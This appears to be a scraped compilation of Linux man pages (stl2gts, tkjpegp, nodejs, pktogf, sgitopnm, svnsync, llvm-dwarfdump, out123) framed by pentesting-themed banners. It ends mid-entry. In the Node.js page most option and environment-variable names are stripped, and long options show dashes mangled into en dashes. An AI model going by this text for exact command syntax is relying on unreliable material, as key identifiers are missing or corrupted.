             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2011 - Linux cli command stl2gts

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stl2gts and provides detailed information about the command stl2gts, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stl2gts.

NAME 🖥️ stl2gts 🖥️

convert an STL file to GTS format.

SYNOPSIS

stl2gts [ OPTIONS ] < *input.stl *> output.gts

DESCRIPTION

This manual page documents briefly the stl2gts command.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-r, –revert
Revert face normals.

-n, –nomerge
Do not merge vertices.

-v, –verbose
Display surface statistics.

-h, –help
Display the help and exit.

AUTHOR

stl2gts was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2012 - Linux cli command tkjpegp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tkjpegp and provides detailed information about the command tkjpegp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tkjpegp.

NAME 🖥️ tkjpegp 🖥️

simple JPEG viewer using perl/Tk

SYNOPSIS

tkjpeg imagefile.jpg

DESCRIPTION

Very simplistic image viewer that loads JPEG image, (well actually anything for which Photo has a handler) and puts it into a Label for display.

It tries to find a fullcolour visual to use if display is deeper than 8-bit. (On 8-bit it uses a 4/4/4 palette.)

AUTHOR

Nick Ing-Simmons <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2013 - Linux cli command nodejs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nodejs and provides detailed information about the command nodejs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nodejs.

Node.js is a set of libraries for JavaScript which allows it to be used outside of the browser. It is primarily focused on creating simple, easy-to-build network clients and servers.

Execute

without arguments to start a REPL.

Alias for stdin, analogous to the use of - in other command-line utilities. The executed script is read from stdin, and remaining arguments are passed to the script.

Indicate the end of command-line options. Pass the rest of the arguments to the script.

If no script filename or eval/print script is supplied prior to this, then the next argument will be used as a script filename.

Aborting instead of exiting causes a core file to be generated for analysis.

Print source-able bash completion script for Node.js.

Use custom conditional exports conditions.

Start the V8 CPU profiler on start up, and write the CPU profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the CPU profiles generated by

will be placed. The default value is controlled by the

command-line option.

The sampling interval in microseconds for the CPU profiles generated by

The default is

File name of the V8 CPU profile generated with

Set the directory for all diagnostic output files. Default is current working directory. Set the directory to which all diagnostic output files will be written to. Defaults to current working directory. Affects the default output directory of:

Disable the `Object.prototype.__proto__` property. If

is `delete`, the property will be removed entirely. If

is `throw`, accesses to the property will throw an exception with the code `ERR_PROTO_ACCESS`.

Make built-in language features like `eval` and `new Function` that generate code from strings throw an exception instead. This does not affect the Node.js `vm` module.

Enable FIPS-compliant crypto at startup. Requires Node.js to be built with

Enable Source Map V3 support for stack traces.

Interpret as either ES modules or CommonJS modules input via –eval or STDIN, when –input-type is unspecified;

Expose the CustomEvent on the global scope.

Expose the Web Crypto API on the global scope.

Enable experimental ES modules support for import.meta.resolve().

Specify the

to use as a custom module loader.

Enable experimental support for loading modules using `import` over `https:`.

Use the specified file as a security policy.

Use this flag to enable ShadowRealm support.

Enable code coverage in the test runner.

Disable experimental support for the Fetch API.

Disable top-level await keyword support in REPL.

Select extension resolution algorithm for ES Modules; either ’explicit’ (default) or ’node'.

Enable experimental ES module support in VM module.

Enable experimental WebAssembly System Interface support. This flag is no longer required as WASI is enabled by default.

Enable experimental WebAssembly module support.

Disable loading native addons that are not context-aware.

Force FIPS-compliant crypto on startup (Cannot be disabled from script code). Same requirements as

Enable experimental frozen intrinsics support.

Generate heap snapshot when the V8 heap usage is approaching the heap limit. No more than the specified number of snapshots will be generated.

Generate heap snapshot on specified signal.

Start the V8 heap profiler on start up, and write the heap profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the heap profiles generated by

will be placed. The default value is controlled by the

command-line option.

The average sampling interval in bytes for the heap profiles generated by

The default is

File name of the V8 heap profile generated with

Specify ICU data load path. Overrides

Set the module resolution type for input via –eval, –print or STDIN.

Activate inspector on

and break at start of user script.

Set the

to be used when the inspector is activated.

Specify how the inspector WebSocket URL is exposed. Valid values are

and

Default is

Activate inspector on

Default is

V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling. It uses the Chrome DevTools Protocol.

Use an insecure HTTP parser that accepts invalid HTTP headers. This may allow interoperability with non-conformant HTTP implementations. It may also allow request smuggling and other HTTP attacks that rely on invalid headers being accepted. Avoid using this option.

Disable runtime allocation of executable memory. This may be required on some platforms for security reasons. It can also reduce attack surface on other platforms, but the performance impact may be severe.

This flag is inherited from V8 and is subject to change upstream. It may disappear in a non-semver-major release.

Specify the maximum size of HTTP headers in bytes. Defaults to 16 KiB.

This option is a no-op. It is kept for compatibility.

Silence deprecation warnings.

Hide extra information on fatal exception that causes exit.

Disable runtime checks for `async_hooks`. These will still be enabled dynamically when `async_hooks` is enabled.

Disable the `node-addons` exports condition as well as disable loading native addons. When `–no-addons` is specified, calling `process.dlopen` or requiring a native C++ addon will fail and throw an exception.

Do not search modules from global paths.

Silence all process warnings (including deprecations).

Enable extra debug checks for memory leaks in Node.js internals. This is usually only useful for developers debugging Node.js itself.

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

Emit pending deprecation warnings.

Instructs Node.js to error prior to running any code if the policy does not have the specified integrity. It expects a Subresource Integrity string as a parameter.

Instructs the module loader to preserve symbolic links when resolving and caching modules other than the main module.

Instructs the module loader to preserve symbolic links when resolving and caching the main module.

Generate V8 profiler output.

Process V8 profiler output generated using the V8 option

Write process warnings to the given

instead of printing to stderr.

Write

in a compact format, single-line JSON.

Location at which the

will be generated. The `file` name may be an absolute path. If it is not, the default directory it will be written to is controlled by the

command-line option.

Name of the file to which the

will be written.

Enables the

to be triggered on fatal errors (internal errors within the Node.js runtime such as out of memory) that leads to termination of the application. Useful to inspect various diagnostic data elements such as heap, stack, event loop state, resource consumption etc. to reason about the fatal error.

Enables

to be generated upon receiving the specified (or predefined) signal to the running Node.js process. Default signal is SIGUSR2.

Sets or resets the signal for

generation (not supported on Windows). Default signal is SIGUSR2.

Enables

to be generated on un-caught exceptions. Useful when inspecting JavaScript stack in conjunction with native stack and other runtime environment data.

Specify the size of the OpenSSL secure heap. Any value less than 2 disables the secure heap. The default is 0. The value must be a power of two.

Specify the minimum allocation from the OpenSSL secure heap. The default is 2. The value must be a power of two.

Starts the Node.js command line test runner.

The maximum number of test files that the test runner CLI will execute concurrently.

A regular expression that configures the test runner to only execute tests whose name matches the provided pattern.

A test reporter to use when running tests.

The destination for the corresponding test reporter.

Configures the test runner to only execute top level tests that have the `only` option set.

Test suite shard to execute in a format of <index>/<total>.

Throw errors for deprecations.

Specify process.title on startup.

Specify an alternative default TLS cipher list. Requires Node.js to be built with crypto support. (Default)

Log TLS key material to a file. The key material is in NSS SSLKEYLOGFILE format and can be used by software (such as Wireshark) to decrypt the TLS traffic.

Set default maxVersion to ‘TLSv1.2’. Use to disable support for TLSv1.3.

Set default maxVersion to ‘TLSv1.3’. Use to enable support for TLSv1.3.

Set default minVersion to ‘TLSv1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.2’. This is the default for 12.x and later, but the option is supported for compatibility with older Node.js versions.

Set default minVersion to ‘TLSv1.3’. Use to disable support for TLSv1.2 in favour of TLSv1.3, which is more secure.

Print short summaries of calls to

This flag is deprecated.

Print stack traces for deprecations.

A comma-separated list of categories that should be traced when trace event tracing is enabled using

Template string specifying the filepath for the trace event data, it supports

and

Enable the collection of trace event tracing information.

Prints a stack trace whenever an environment is exited proactively, i.e. invoking `process.exit()`.

Prints a stack trace on SIGINT.

Print a stack trace whenever synchronous I/O is detected after the first turn of the event loop.

Prints TLS packet trace information to stderr.

Print stack traces for uncaught exceptions; usually, the stack trace associated with the creation of an

is printed, whereas this makes Node.js also print the stack trace associated with throwing the value (which does not need to be an

instance).

Enabling this option may affect garbage collection behavior negatively.

Print stack traces for process warnings (including deprecations).

Track heap object allocations for heap snapshots.

Define the behavior for unhandled rejections. Can be one of `strict` (raise an error), `warn` (enforce warnings) or `none` (silence warnings).

Use bundled Mozilla CA store as supplied by current Node.js version or use OpenSSL’s default CA store. The default store is selectable at build-time.

The bundled CA store, as supplied by Node.js, is a snapshot of Mozilla CA store that is fixed at release time. It is identical on all supported platforms.

Using OpenSSL store allows for external modifications of the store. For most Linux and BSD distributions, this store is maintained by the distribution maintainers and system administrators. OpenSSL CA store location is dependent on configuration of the OpenSSL library but this can be altered at runtime using environment variables.

See

and

Re-map the Node.js static code to large memory pages at startup. If supported on the target system, this will cause the Node.js static code to be moved onto 2 MiB pages instead of 4 KiB pages.

must have one of the following values: `off` (the default value, meaning do not map), `on` (map and ignore failure, reporting it to stderr), or `silent` (map and silently ignore failure).

Print V8 command-line options.

Set V8’s thread pool size which will be used to allocate background jobs. If set to 0 then V8 will choose an appropriate size of the thread pool based on the number of online processors. If the value provided is larger than V8’s maximum, then the largest value will be chosen.

Automatically zero-fills all newly allocated Buffer and SlowBuffer instances.

Check the script’s syntax without executing it. Exits with an error code if script is invalid.

Evaluate

as JavaScript.

Print command-line options. The output of this option is less detailed than this document.

Open the REPL even if stdin does not appear to be a terminal.

Identical to

but prints the result.

Preload the specified

at startup. Follows `require()`’s module resolution rules.

may be either a path to a file, or a Node.js module name.

Print node’s version.

Used to enable ANSI colorized output. The value may be one of:

,

, or

to indicate 16-color support,

to indicate 256-color support, or

to indicate 16 million-color support. When used and set to a supported value, both the NO_COLOR and NODE_DISABLE_COLORS environment variables are ignored. Any other value will result in colorized output being disabled.

Alias for NODE_DISABLE_COLORS

Comma-separated list of core modules that should print debug information.

Comma-separated list of C++ core modules that should print debug information.

When set to

colors will not be used in the REPL.

When set, the well-known

CAs (like VeriSign) will be extended with the extra certificates in

The file should consist of one or more trusted certificates in PEM format.

If

is missing or misformatted, a message will be emitted once using

but any errors are otherwise ignored.

This environment variable is ignored when `node` runs as setuid root or has Linux file capabilities set.

The

environment variable is only read when the Node.js process is first launched. Changing the value at runtime using

has no effect on the current process.

Data path for ICU (Intl object) data. Will extend linked-in data when compiled with small-icu support.

When set to

process warnings are silenced.

A space-separated list of command-line

which are interpreted as if they had been specified on the command line before the actual command (so they can be overridden). Node.js will exit with an error if an option that is not allowed in the environment is used, such as

or a script file.

A colon-separated list of

prefixed to the module search path.

When set to

emit pending deprecation warnings.

When set to

the module loader preserves symbolic links when resolving and caching modules.

Write process warnings to the given

instead of printing to stderr. Equivalent to passing

on the command line.

Path to the

used to store persistent REPL history. The default path is

which is overridden by this variable. Setting the value to an empty string ("" or " “) will disable persistent REPL history.

Path to a Node.js module which will be loaded in place of the built-in REPL. Overriding this value to an empty string (`’’`) will use the built-in REPL.

When set to

the check for a supported platform is skipped during Node.js startup. Node.js might not execute correctly. Any issues encountered on unsupported platforms will not be fixed.

When set to

TLS certificate validation is disabled.

When set, Node.js writes JavaScript code coverage information to

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

If the

command-line option is used, this environment variable is ignored.

If

is enabled, this overrides and sets OpenSSL’s directory containing trusted certificates.

If

is enabled, this overrides and sets OpenSSL’s file containing trusted certificates.

Specify the timezone configuration.

Sets the number of threads used in libuv’s threadpool to

Bugs are tracked in GitHub Issues:

Copyright Node.js contributors. Node.js is available under the MIT license.

Node.js also includes external libraries that are available under a variety of licenses. See

for the full license text.

Website:

Documentation:

GitHub repository and issue tracker:

IRC (general questions):

(unofficial)

Written and maintained by 1000+ contributors:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2014 - Linux cli command pktogf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pktogf and provides detailed information about the command pktogf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pktogf.

NAME 🖥️ pktogf 🖥️

convert packed font files to generic font files

SYNOPSIS

pktogf [-v] pk_file_name [gf_file_name]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The pktogf program converts a packed font file (pk) to a generic font file (gf). Packed font files are much smaller than the corresponding gf files, but some DVI readers only understand gf files.

The pk_file_name on the command line must be complete. Because the resolution is part of the extension, it would not make sense to append a default extension as is done with TeX or DVI-reading software. The gf_file_name defaults to the same (stripped) name as pk_file_name, and it is placed in the current working directory with the gf suffix replacing pk. For example, the input file io.300pk would become io.300gf.

OPTIONS

Unless the -v switch is given, pktogf operates silently. With -v, the version number of the program and statistics about the unpacking are output to stdout.

ENVIRONMENT

pktogf looks for pk_file_name using the environment variable PKFONTS. If that is not set, it uses the variable TEXPKS. If that is not set, it uses TEXFONTS. If that is not set, it uses the system default.

See tex(1) for the details of the searching.

SEE ALSO

gftopk(1), gftype(1), pktype(1).
Donald E. Knuth et al., Metafontware.

AUTHORS

Tomas Rokicki wrote the program. Pierre MacKay adapted it for compilation with web2c.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2015 - Linux cli command sgitopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sgitopnm and provides detailed information about the command sgitopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sgitopnm.

.

NAME 🖥️ sgitopnm 🖥️

convert a SGI image file to PNM

SYNOPSIS

sgitopnm

[-verbose]

[-channel c]

[SgiFileName]

DESCRIPTION

This program is part of Netpbm(1) .

sgitopnm reads an SGI image file as input and produces a PGM image for a 2-dimensional (1- or 2-channel) input file, and a PPM image for a 3-dimensional (3 or more channels) input file.

Alternatively, the program produces a PGM image of any one of the channels in the input file.

Before Netpbm 10.67 (June 2014), sgitopnm does not work on 2-channel SGI images. It fails if you try.

If you don’t specify the SgiFileName argument, input is from Standard Input.

Before Netpbm 10.67 (June 2014), sgitopnm requires its input to be a seekable file, so for example you can’t feed it from a pipe.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), sgitopnm recognizes the following command line options:

-verbose
Give some information about the SGI image file.

-channel n
Extract channel n of the image as a PGM image.

Without this option, sgitopnm extracts the first 3 channels as a PPM image or, if the input has 1 or 2 channels, extracts the first channel as a PGM image.

A 2-channel image is grayscale plus transparency, so you can get the transparency information with -channel=2. You could then combine them into a PAM image of tuple type GRAYSCALE_ALPHA with pamstack.

REFERENCES

The SGI image format specification version 1.0 is at ftp://ftp.sgi.com/graphics/grafica/sgiimage.html .

There is an example SGI file at https://github.com/ZaaLabs/ZaaIL-TestImages/tree/master/SGI .

SEE ALSO

pnm(1) , pam(1) , pnmtosgi(1) , pamstack(1)

AUTHOR

Copyright (C) 1994 by Ingo Wilken ( [email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sgitopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2016 - Linux cli command svnsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnsync and provides detailed information about the command svnsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnsync.

NAME 🖥️ svnsync 🖥️

Subversion repository synchronization tool

SYNOPSIS

svnsync command dest-url [options] [args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnsync help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2017 - Linux cli command llvm-dwarfdump-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dwarfdump-17 and provides detailed information about the command llvm-dwarfdump-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dwarfdump-17.

NAME 🖥️ llvm-dwarfdump-17 🖥️

dwarfdump - manual page for llvm-dwarfdump 17

DESCRIPTION

OVERVIEW: pretty-print DWARF debug information in object files and debug info archives.

USAGE: llvm-dwarfdump [options] <input object files or .dSYM bundles>

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

Section-specific Dump Options: These control which sections are dumped. Where applicable these parameters take an optional =<offset> argument to dump only the entry at the specified offset.

-a - Alias for –all

–all - Dump all debug info sections

–apple-names - Dump the .apple_names section

–apple-namespaces - Dump the .apple_namespaces section

–apple-objc - Dump the .apple_objc section

–apple-types - Dump the .apple_types section

–debug-abbrev - Dump the .debug_abbrev section

–debug-addr - Dump the .debug_addr section

–debug-aranges - Dump the .debug_aranges section

–debug-cu-index - Dump the .debug_cu_index section

–debug-frame[=<offset>] - Dump the .debug_frame section

–debug-gnu-pubnames - Dump the .debug_gnu_pubnames section

–debug-gnu-pubtypes - Dump the .debug_gnu_pubtypes section

–debug-info[=<offset>] - Dump the .debug_info section

–debug-line[=<offset>] - Dump the .debug_line section

–debug-line-str - Dump the .debug_line_str section

–debug-loc[=<offset>] - Dump the .debug_loc section

–debug-loclists[=<offset>] - Dump the .debug_loclists section

–debug-macro - Dump the .debug_macro section

–debug-names - Dump the .debug_names section

–debug-pubnames - Dump the .debug_pubnames section

–debug-pubtypes - Dump the .debug_pubtypes section

–debug-ranges - Dump the .debug_ranges section

–debug-rnglists - Dump the .debug_rnglists section

–debug-str - Dump the .debug_str section

–debug-str-offsets - Dump the .debug_str_offsets section

–debug-tu-index - Dump the .debug_tu_index section

–debug-types[=<offset>] - Dump the .debug_types section

–eh-frame - Alias for –debug-frame

–gdb-index - Dump the .gdb_index section

Specific Options:

-F - Alias for –show-form.

–arch=<string> - Dump debug information for the specified CPU architecture only. Architectures may be specified by name or by number. This option can be specified multiple times, once for each desired architecture.

-c - Alias for –show-children.

–diff - Emit diff-friendly output by omitting offsets and addresses.

-f - Alias for –find.

–find=<name> - Search for the exact match for <name> in the accelerator tables and print the matching debug information entries. When no accelerator tables are available, the slower but more complete -name option can be used instead.

–find-all-apple - Print every debug information entry in the accelerator tables.

-i - Alias for –ignore-case.

–ignore-case - Ignore case distinctions when using –name.

–lookup=<address> - Lookup <address> in the debug information and print out any available file, function, block and line table details.

-n - Alias for –name

–name=<pattern> - Find and print all debug info entries whose name (DW_AT_name attribute) matches the exact text in <pattern>.
When used with the the -regex option <pattern> is interpreted as a regular expression.

-o <filename> - Redirect output to the specified file.

-p - Alias for –show-parents.

–parent-recurse-depth=<N> - Only recurse to a depth of N when displaying parents of debug info entries.

–quiet - Use with -verify to not emit to STDOUT.

-r - Alias for –recurse-depth.

–recurse-depth=<N> - Only recurse to a depth of N when displaying children of debug info entries.

–regex - Treat any <pattern> strings as regular expressions when searching with –name. If –ignore-case is also specified, the regular expression becomes case-insensitive.

–show-children - Show a debug info entry’s children when selectively printing entries.

–show-form - Show DWARF form types after the DWARF attribute types.

–show-parents - Show a debug info entry’s parents when selectively printing entries.

–show-section-sizes - Show the sizes of all debug sections, expressed in bytes.

–show-sources - Show the sources across all compilation units.

–statistics - Emit JSON-formatted debug info quality metrics.

–summarize-types - Abbreviate the description of type unit entries.

-u - Alias for –uuid.

–uuid - Show the UUID for each architecture.

-v - Alias for –verbose.

–verbose - Print more low-level encoding details.

–verify - Verify the DWARF debug info.

-x - Alias for –regex

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2018 - Linux cli command out123

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command out123 and provides detailed information about the command out123, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the out123.

NAME 🖥️ out123 🖥️

send raw PCM audio or a waveform pattern to an output device

SYNOPSIS

cat audio.raw | out123 [ - ] [ options ]

out123 [ options ] filename [ filename … ]

out123 –wave-freq freq1[,freq2,…] [ options ]

out123 –source geiger [ options ]

DESCRIPTION

out123 reads raw PCM data (in host byte order) from standard input and plays it on the audio device specified by given options. Alternatively, it can generate periodic or random signals for playback itself.

OPTIONS

out123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ‘-’, while GNU long options start with ‘- -’. Option arguments (if needed) follow separated by whitespace (not ‘=’). Note that some options can be absent from your installation when disabled in the build process.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and out123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The audio samples are written to standard output, instead of playing them through the audio device. The output format is the same as the input … so in this mode, out123 acts similar the standard tool cat, possibly with some conversions involved. This shortcut is equivalent to ‘-o raw -a -’.

-S, - -STDOUT
This variant additionally writes the data to stdout, while still playing it on the output device. So it is more like some flavour of tee than a cat.

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell). This shortcut is equivalent to ‘-o raw -a file’.

-w file, - -wav
